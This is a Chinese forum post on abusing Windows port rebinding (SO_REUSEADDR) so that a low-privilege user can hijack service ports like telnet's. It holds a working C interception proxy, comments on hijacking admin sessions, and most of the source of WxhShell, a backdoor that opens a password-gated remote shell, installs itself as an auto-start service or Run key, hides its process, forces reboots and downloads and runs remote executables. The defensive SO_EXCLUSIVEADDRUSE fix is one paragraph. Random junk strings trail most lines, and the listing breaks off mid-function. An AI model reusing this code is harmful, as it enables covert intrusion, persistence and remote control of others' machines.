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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ; w+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tt9cX}&&  
YD@Z}NE v"  
  saddr.sin_family = AF_INET; F Z RnIg  
=L@CZ"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %I9f_5BlT8  
/_HTW\7,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :/%Y"0  
qdy(C^(fa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u,nn\>Y  
ES!e/l  
  这意味着什么?意味着可以进行如下的攻击: GRJ6|T$!?$  
VwRZgL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E%;$vj'2  
!Y r9N4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .gGO+8[N*  
7QnWw0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mA$86 X_  
1=5HQ~|[TO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [mQ1r*[j  
si)>:e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7.Z-  
h)fsLzn]Tf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x#&_/oqAk  
!s^XWsb8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q9p31b3  
TBrw ir  
  #include D vvi)/<  
  #include 4X*U~}  
  #include }apno|W&  
  #include    k H<C9z2=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9_d# F'#F  
  int main() U,p'<rmS  
  { [0105l5  
  WORD wVersionRequested; ~4Gc~"  
  DWORD ret; jUKMDl H  
  WSADATA wsaData; '(C+qwdRv  
  BOOL val; AX%}ip[PC  
  SOCKADDR_IN saddr; Y>/_A%vQU  
  SOCKADDR_IN scaddr; x7<NaMK\  
  int err; RM,aG}6M)M  
  SOCKET s; tFc<f7k  
  SOCKET sc; ]LZ#[xnM7  
  int caddsize; R) :Xs .  
  HANDLE mt; *k;bkd4x  
  DWORD tid;   +6l#hO7h  
  wVersionRequested = MAKEWORD( 2, 2 ); z/h]Jos  
  err = WSAStartup( wVersionRequested, &wsaData ); GDC@s<[k  
  if ( err != 0 ) { @[?ZwzY:9  
  printf("error!WSAStartup failed!\n"); j0X^,ot@m  
  return -1; F .Zk};lb  
  } [zm@hxym  
  saddr.sin_family = AF_INET; ~]RfOpq^w  
   ?< ^8,H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d/F^ez  
m,t{D, 2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j;b>~_ U%  
  saddr.sin_port = htons(23); ~E((n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _aOs8#(X  
  { ^'`(E_2u  
  printf("error!socket failed!\n"); LxGD=b  
  return -1; kvbW^pl  
  } Jnd_cJ]a  
  val = TRUE; 52j3[in  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vV$t`PEY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LQr!0p.i"  
  { ilVi  
  printf("error!setsockopt failed!\n"); jSHFY]2  
  return -1; 6;:D!},'c  
  } Li|~%E1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zzg zeT+bv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YkMFU'?[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0Fon`3(^\  
:L+ xEL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !~%DR~^`  
  { ?Y -;781  
  ret=GetLastError(); T30fp  
  printf("error!bind failed!\n"); d>mZY66P  
  return -1; =bja\r{  
  } _eq$C=3Ta  
  listen(s,2); #BcUE?K*N  
  while(1) 41d+z>a]  
  { <z2.A/L  
  caddsize = sizeof(scaddr); 6'N_bNW  
  //接受连接请求  QtG6v<A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ps:`rVQ7  
  if(sc!=INVALID_SOCKET) 13Z,;YW  
  { _*?qOmf=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O9d"Z$~n=j  
  if(mt==NULL) 1Dc6v57  
  { BF2U$-k4  
  printf("Thread Creat Failed!\n"); <'$>&^!^  
  break; +%,oq ]<[,  
  } hx;kNcPbI  
  } i.W*Go+  
  CloseHandle(mt); W!\%v"  
  } kiN,N]-V  
  closesocket(s); ^yc8is'`  
  WSACleanup(); #yR&|*@  
  return 0; 0\Jeyb2dl  
  }   "|dhmV[;  
  DWORD WINAPI ClientThread(LPVOID lpParam) psmDGSm,&  
  { Or?c21un  
  SOCKET ss = (SOCKET)lpParam; )V>OND  
  SOCKET sc; xrBM`Bj0@  
  unsigned char buf[4096]; Kf[.@_TD<1  
  SOCKADDR_IN saddr; q'+ARW48  
  long num; 6pS}\aD  
  DWORD val; sCY  
  DWORD ret; d7r!<u&/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +FadOx7X$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /1{:uh$  
  saddr.sin_family = AF_INET; )h 6w@TF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?.F^Oi6 u  
  saddr.sin_port = htons(23); f&^"[S"\f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DjN1EP\Xx  
  { M\k[?i  
  printf("error!socket failed!\n"); 3b0|7@_E  
  return -1; ohx$;j  
  } fgj$ u  
  val = 100; /0gr?I1wr7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2bw) , W  
  { Dzu//_u  
  ret = GetLastError(); BH~zeJ*Pr  
  return -1; r0[<[jEh  
  } ^ swj!da  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h x5M)8#+  
  { \}.bTca  
  ret = GetLastError(); W$,/hB& z  
  return -1; %>9L}OAm  
  } bfncO[Q,?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `S-l.zSZ4B  
  { ~F,Y BX  
  printf("error!socket connect failed!\n"); d`flYNg4  
  closesocket(sc); TW(X#T@Z6I  
  closesocket(ss); Xp06sl7 M  
  return -1; ic!% }S?  
  } d oEuKT  
  while(1) yFmy  
  { o^(I+<el  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J!~kqNI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `^^t#sT   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2(~Zl\  
  num = recv(ss,buf,4096,0); >jmHe^rH  
  if(num>0) J%r:"Jm[y1  
  send(sc,buf,num,0); (2Lmu[  
  else if(num==0) ~4FzA,,  
  break; wL:7G  
  num = recv(sc,buf,4096,0); g| 3bM  
  if(num>0) ']\SX*z?  
  send(ss,buf,num,0); 0',buJncV  
  else if(num==0) ^J hs/HV  
  break; /8l@n dZf  
  } ST[TKL<]  
  closesocket(ss); S!$S'{f<  
  closesocket(sc); y5aPs z  
  return 0 ; u0=&_Q(=  
  } l/nBin&YGv  
{`M \}(E  
tw zV-8\  
========================================================== RR+kjK?  
P/WGB~NH  
下边附上一个代码,,WXhSHELL w{L9-o3A  
 03zt^<  
========================================================== D~i5E9s5  
^;s/4  
#include "stdafx.h" C%E~9_w  
J| wk})?  
#include <stdio.h> W(Sni[c{  
#include <string.h> wM7 Iu86  
#include <windows.h> iQ2}*:Jc$  
#include <winsock2.h> RkF^V(  
#include <winsvc.h> $*N(feAs  
#include <urlmon.h> Ev3'EA~`  
C:^ :^y  
#pragma comment (lib, "Ws2_32.lib") }|;j2'(R  
#pragma comment (lib, "urlmon.lib") (b[=~Nh'  
owA8hGF  
#define MAX_USER   100 // 最大客户端连接数 C<9GdN  
#define BUF_SOCK   200 // sock buffer +p jB/#4  
#define KEY_BUFF   255 // 输入 buffer  Rm)hgmZ  
/!t:MK;  
#define REBOOT     0   // 重启 DxN\ H"  
#define SHUTDOWN   1   // 关机 cc`u{F9  
y1}2hT0,  
#define DEF_PORT   5000 // 监听端口 +IbV  
4B[pQlg  
#define REG_LEN     16   // 注册表键长度 8mdVh\i!Kf  
#define SVC_LEN     80   // NT服务名长度 Ue Z(@6_:  
}dMX1e1h8  
// 从dll定义API r 20!   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Q<OSa='  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -!5l4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MxX)&327  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <<gW`KF   
[hot,\+f  
// wxhshell配置信息 <wFmfrx+v  
struct WSCFG { ONpvx5'#  
  int ws_port;         // 监听端口  gsi2  
  char ws_passstr[REG_LEN]; // 口令 KTmwkZcfYD  
  int ws_autoins;       // 安装标记, 1=yes 0=no q)C Xu  
  char ws_regname[REG_LEN]; // 注册表键名 adri02C/  
  char ws_svcname[REG_LEN]; // 服务名 H<ovIMd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IaRwPDj6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WEG!;XZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UfO='&U^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &#u\@Qze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ALO/{:l(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^jS1g*nrN  
u^^jt(j  
}; `.pd %\  
Lh-Y5(c o  
// default Wxhshell configuration SCMvq?9  
struct WSCFG wscfg={DEF_PORT, ]lyQ*gM  
    "xuhuanlingzhe", ) d'H&c3  
    1, 6?.S-.Mr  
    "Wxhshell", 6nsb)7a  
    "Wxhshell", 0i8\Lu6  
            "WxhShell Service", 4 )}>dxv  
    "Wrsky Windows CmdShell Service", l]t^MEoc8  
    "Please Input Your Password: ", l'2vo=IQ  
  1, M3!;u%~} s  
  "http://www.wrsky.com/wxhshell.exe", Z vC?F=tH  
  "Wxhshell.exe" ZR)M<*$  
    }; |cuKC \  
0d:t=LKw)  
// 消息定义模块 =2rdbq6R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Ss W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v;?W|kJ.u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uhaHY`w  
char *msg_ws_ext="\n\rExit."; Ywt9^M|z;  
char *msg_ws_end="\n\rQuit."; -%>Tjo@B n  
char *msg_ws_boot="\n\rReboot..."; qSD`S1'2;  
char *msg_ws_poff="\n\rShutdown..."; ? ][/hL@[  
char *msg_ws_down="\n\rSave to "; _*sd#  
n[i:$! ,  
char *msg_ws_err="\n\rErr!"; [GK## z'5  
char *msg_ws_ok="\n\rOK!"; v&9:Wd*Iz'  
W:wSM *  
char ExeFile[MAX_PATH]; k+i0@G'C(  
int nUser = 0; NaQ~iY?  
HANDLE handles[MAX_USER]; OaoHN& "  
int OsIsNt; \f Kn} ]kG  
ei1;@k/  
SERVICE_STATUS       serviceStatus; +5R8mbD!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n) HV:8j~  
4XiQ8"C  
// 函数声明 TL$w~dY  
int Install(void); `RURC"  
int Uninstall(void); &E!m(|6?+  
int DownloadFile(char *sURL, SOCKET wsh); $5\sV48f  
int Boot(int flag); <pG 4 g  
void HideProc(void); h5aPRPUg  
int GetOsVer(void); gth_Sz5!#  
int Wxhshell(SOCKET wsl); 7rGp^  
void TalkWithClient(void *cs); =\i%,YY  
int CmdShell(SOCKET sock); #1}%=nAsi  
int StartFromService(void); ;Tq4!w'rH  
int StartWxhshell(LPSTR lpCmdLine); apM)$  
E/1:4?1 S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `GY]JVW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qn{9vr  
EUgKJ=jw  
// 数据结构和表定义 OQg}E@LZ  
SERVICE_TABLE_ENTRY DispatchTable[] = 4 s9^%K\8{  
{ &FZ~n?;hQ  
{wscfg.ws_svcname, NTServiceMain}, ) R5[a O  
{NULL, NULL} , :KJ({wM  
}; 6y?uH; SL  
fcohYo5mh  
// 自我安装 KNP^k$=)3c  
int Install(void) q/@r#  
{ W_/$H_04+  
  char svExeFile[MAX_PATH]; hQ L@q7tUr  
  HKEY key; +zo\#8*0MF  
  strcpy(svExeFile,ExeFile); jzi^ OI7  
J=O_nup6C  
// 如果是win9x系统,修改注册表设为自启动 `tKs|GQf  
if(!OsIsNt) { ^foCcO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ Grk{]nT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I>-1kFma;  
  RegCloseKey(key); .ubZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pf yJL?_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Mw`  
  RegCloseKey(key); hHOx ]  
  return 0; JV !F<  
    } EQHCw<e  
  } G-vkkNj%e  
} +^rt48${ y  
else { G/(tgQ  
wI F'|"  
// 如果是NT以上系统,安装为系统服务 n7n-uc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wn2J]BH  
if (schSCManager!=0) jEP'jib%  
{ =6fJUy^M\  
  SC_HANDLE schService = CreateService ,K&L/*  
  ( }C=+Tn  
  schSCManager, :2A-;P4  
  wscfg.ws_svcname, a`C2:Z23(#  
  wscfg.ws_svcdisp, nx{X^oc8e  
  SERVICE_ALL_ACCESS, rC/z8m3z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )U}`x }:,  
  SERVICE_AUTO_START, bQ0+Y?,+/  
  SERVICE_ERROR_NORMAL, 8KdcU [w]  
  svExeFile, ;__k*<+{.  
  NULL, k&u5`F  
  NULL, k$7Kz"  
  NULL, Ycxv=Et  
  NULL, <fgf L9-  
  NULL J/Ch /Sa  
  ); THCvcU?X  
  if (schService!=0) W E /1h  
  { sbhUW>%.  
  CloseServiceHandle(schService); C,<FV+r=^  
  CloseServiceHandle(schSCManager); uCWBM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [raj: 7yQ  
  strcat(svExeFile,wscfg.ws_svcname); 8ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o7v9xm+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;_=dB[M  
  RegCloseKey(key); m^tf=O<  
  return 0; %~lTQCPE  
    } 2 jxh7\zE  
  } jnFN{(VH  
  CloseServiceHandle(schSCManager); (~PT(B?  
} mMK 93Ng"&  
} VZk;{  
pWoeF=+y]W  
return 1; r|953e  
}  SmAF+d  
2aUE<@RU[  
// 自我卸载 dA(+02U/.  
int Uninstall(void) Vg"vC  
{ ,A0v 5Q<  
  HKEY key; }[;r-5}  
S09Xe_q  
if(!OsIsNt) { ]4 \6_J&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %w3tzE1Hq  
  RegDeleteValue(key,wscfg.ws_regname); Fa X3@Sd!  
  RegCloseKey(key); 0v3 8LBH)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '|yBz1uL  
  RegDeleteValue(key,wscfg.ws_regname); j 4(f1  
  RegCloseKey(key); G98fBw  
  return 0; IfCa6g<&(  
  } 0A75)T=lQ  
}  I$fm"N  
} =u5( zaBe  
else { 5J6~]J  
fQ2U |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  S^5Qhv  
if (schSCManager!=0) M(Yt9}Z%Y  
{ d}^hZ8k|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nc#} \  
  if (schService!=0) {-)I2GJav  
  { {>X2\.Rl  
  if(DeleteService(schService)!=0) { q9$K.=_5  
  CloseServiceHandle(schService); (^)(#CxO  
  CloseServiceHandle(schSCManager); };>~P%u32  
  return 0; 'W p~8}i@  
  } mbIHzzW>  
  CloseServiceHandle(schService); (+bt{Ma  
  } hx}X=7w  
  CloseServiceHandle(schSCManager); , #(k|Zztc  
} Tnnj8I1v  
} {_jbFJ  
^^[A\'  
return 1; l+^4y_  
} Qf@ha  
!<0 `c  
// 从指定url下载文件 ,GF(pCZzG  
int DownloadFile(char *sURL, SOCKET wsh) fvV5G,lD3h  
{ sN/8OLc  
  HRESULT hr; }I~)o!N%7  
char seps[]= "/"; R'B-$:u  
char *token; BIjkW.uf  
char *file; $< .wQ8:Q  
char myURL[MAX_PATH]; B5#>ieM*  
char myFILE[MAX_PATH]; Rw`64L_  
wG&rkg";#  
strcpy(myURL,sURL); p3cb_  
  token=strtok(myURL,seps); ]P4?jKI  
  while(token!=NULL) 2-@z-XKn  
  { F@-8J?Hl:  
    file=token; 4{ED~w|  
  token=strtok(NULL,seps); mFuHZ)iQG  
  } >q1rdq  
Y]"lcr}  
GetCurrentDirectory(MAX_PATH,myFILE); tAS[T9B  
strcat(myFILE, "\\"); -N1X=4/fg  
strcat(myFILE, file); {6>:= ?7]R  
  send(wsh,myFILE,strlen(myFILE),0); S2~im?^21  
send(wsh,"...",3,0); _j\ 8u`^n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AXPdgo6  
  if(hr==S_OK) XWUi_{zn  
return 0; &v/R-pz  
else A7GWU{i  
return 1; E*#5OT  
pT<I!,~  
} i [2bz+Z?  
:eR\0cn  
// 系统电源模块 eY'RDQa  
int Boot(int flag) 'F^"+Xi  
{ #UqE %g`J  
  HANDLE hToken; 2;ac&j1  
  TOKEN_PRIVILEGES tkp; ZtOv'nTD  
1,pPLc(  
  if(OsIsNt) { VJ-To}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cwI3ANV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bMN ]co  
    tkp.PrivilegeCount = 1; :}Z Y*ind  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Z$Ro/;l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E.^F:$2  
if(flag==REBOOT) { *XluVochrb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'TDp%s*;  
  return 0; L=kETJ:g  
} $`"$ZI6[  
else { 8:"s3xaO3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NxN~"bfh  
  return 0; Z" dU$ ,n  
} ~{{@m]P  
  } C9nCSbGMY{  
  else { y:R+;91  
if(flag==REBOOT) { =nG>aAG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W-4R;!42  
  return 0; 94u~:'t>V  
} xnC5WF7  
else { 'OsRQ)E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '2ACZcjDSv  
  return 0; 18ON`j  
} _*u$U  
} $NwPGy?%  
z v:o$2Z  
return 1; 3U[:N &Jb  
} 7G  3e  
|:LklpdYe  
// win9x进程隐藏模块 m/ngPeZ  
void HideProc(void) [yDOv Q[  
{ 6:`4bo  
(Iv*sd *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wo\O 0?d3{  
  if ( hKernel != NULL ) SnG XEQ  
  { dp*E#XCr1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6MelN^\[7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q `z2SYz>  
    FreeLibrary(hKernel); E&> 2=$~  
  } F&D ,y-CQ  
~R~MC(5N[  
return; Gn 1  
} #e&LyYx4  
$!\Z_ :  
// 获取操作系统版本 }}4uLGu)  
int GetOsVer(void) i6xzHfaYG  
{ G3.\x_;k  
  OSVERSIONINFO winfo; D1Q]Z63,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k~=P0";  
  GetVersionEx(&winfo); _ IlRZ}f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9oj0X>| 1  
  return 1; nSq$,tk(  
  else *xDV8iu_  
  return 0; 3tCT"UvTD  
} v'SqH,=d  
Cuo"6, M  
// 客户端句柄模块 -5,+gakSk  
int Wxhshell(SOCKET wsl) sJm v{wM  
{ 6Bn}W ?  
  SOCKET wsh; Dx.hM[  
  struct sockaddr_in client; DN|+d{^lN  
  DWORD myID; 1A N)%  
@g1T??h   
  while(nUser<MAX_USER) @Qd5a(5WM  
{ E{[>j'dwc  
  int nSize=sizeof(client); `i6q\-12n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7E R!>l+  
  if(wsh==INVALID_SOCKET) return 1; j.KV :zJU  
^[1Xl7)`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r9~IR  
if(handles[nUser]==0) t[\6/`YH  
  closesocket(wsh); 9&1$\ZH  
else f!JSb?#3  
  nUser++; d@ tD0s  
  } J|e3 UikA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fILD~  
+A2}@k   
  return 0; /cx Ei6I-  
} |O[ I=!  
W ZW:q  
// 关闭 socket 7lG,.W|  
void CloseIt(SOCKET wsh) z<8WN[fB  
{ 6V-JyTcxGI  
closesocket(wsh); j +Ro?  
nUser--; 3+V.9TL'a  
ExitThread(0); UZu.B!4  
} .wkW<F7  
p}q]GJ  
// 客户端请求句柄 vJuL+'[i  
void TalkWithClient(void *cs)  T_<:  
{ p?x]|`M  
%6TS_IpJ  
  SOCKET wsh=(SOCKET)cs; #Z}YQ $g  
  char pwd[SVC_LEN]; U (A#}  
  char cmd[KEY_BUFF]; ccgV-'IG9  
char chr[1]; >;~ia3  
int i,j; 2jyxP6t  
&P gk$e%>  
  while (nUser < MAX_USER) { R5fZ }C7  
sb</-']a  
if(wscfg.ws_passstr) { Fc a_(jw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gr4JaV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nT@FS t  
  //ZeroMemory(pwd,KEY_BUFF); q=+wQ[a<  
      i=0; HLl"=m1/>  
  while(i<SVC_LEN) { =_`cY^ib+  
8lF:70wia  
  // 设置超时 Qz([\Xx:  
  fd_set FdRead; ;%O>=m'4  
  struct timeval TimeOut; = '<*mT<  
  FD_ZERO(&FdRead); Z%7X"w  
  FD_SET(wsh,&FdRead); kTo{W]9]  
  TimeOut.tv_sec=8; Q6fPqEX=  
  TimeOut.tv_usec=0; +$B#] ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $GIup5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d&%}u1 .  
42wZy|oqp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u7bji>j  
  pwd=chr[0]; nLnzl  
  if(chr[0]==0xd || chr[0]==0xa) { '#CYw=S+  
  pwd=0; oN Rp  
  break; &p.7SPQ8/  
  } )Z63 cr/  
  i++; p.!p6ve){  
    } ivPX_#QI  
_6C,w`[[6  
  // 如果是非法用户,关闭 socket T_~xDQ`v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H;RgYu2J  
} I.)9:7   
z=DK(b;$z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M.KXDD#O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ir3|PehB  
 P'oY +#  
while(1) { opqf)C  
r+}<]?aT>-  
  ZeroMemory(cmd,KEY_BUFF); da5fKK/s  
fx/If  
      // 自动支持客户端 telnet标准   ^Rmrre`uU  
  j=0; N1X;&qZDd  
  while(j<KEY_BUFF) { IdciGS6 t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >~@ABLp 6  
  cmd[j]=chr[0]; B[[1=  
  if(chr[0]==0xa || chr[0]==0xd) { ~{!,ZnO*  
  cmd[j]=0; j4Y] 8  
  break; qX*Xo[Xp  
  } 9v76A~~  
  j++; mH!\]fmR~  
    } )|<g\>/  
10$:^  
  // 下载文件 @wa<nY d  
  if(strstr(cmd,"http://")) { qnf\K}   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bs_rw+  
  if(DownloadFile(cmd,wsh)) (.~'\@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =B ts  
  else j9 &0/ ~/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :c0 |w  
  } Kg#s<#h  
  else { :w:ql/?X  
)iCg,?SSw=  
    switch(cmd[0]) { a}7P:e*u  
  n]bxG8~t  
  // 帮助 Ct}rj-L<i  
  case '?': { UQCond+K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *AA78G|  
    break; fDZnC Fa  
  } [ jgC`  
  // 安装 >2;KPV0H  
  case 'i': { u 9%AK g}~  
    if(Install()) &Ef6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~YhN'OJ  
    else 6G>bZ+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |sV@j_TX  
    break; S{ qn^\0  
    } "gq _^&  
  // 卸载 L&qY709  
  case 'r': { Oa -~}hN  
    if(Uninstall()) lK #~lC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%t!3F:  
    else vmT6^G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Jn?'76`  
    break; a|@1RH>7H  
    } LrnE6 U9  
  // 显示 wxhshell 所在路径 D}EH9d  
  case 'p': { JL&ni]m  
    char svExeFile[MAX_PATH]; 'pl){aL`@u  
    strcpy(svExeFile,"\n\r"); 4t0-L]v4.*  
      strcat(svExeFile,ExeFile); j0IuuJ+  
        send(wsh,svExeFile,strlen(svExeFile),0); !6{b)P  
    break; >s"kL^  
    } }o9(Q8  
  // 重启 ?=\_U  
  case 'b': { v$bR&bCT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u3_AZ2-;  
    if(Boot(REBOOT)) \|Ya*8V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!PUKa3f<  
    else { 5b%zpx0Y  
    closesocket(wsh); 7\JA8mm  
    ExitThread(0); Rj {D#5  
    } iVb#X#  
    break; wq`\p['Q,  
    } p?eQN Y  
  // 关机 -Hu]2J)  
  case 'd': { C**kJ  
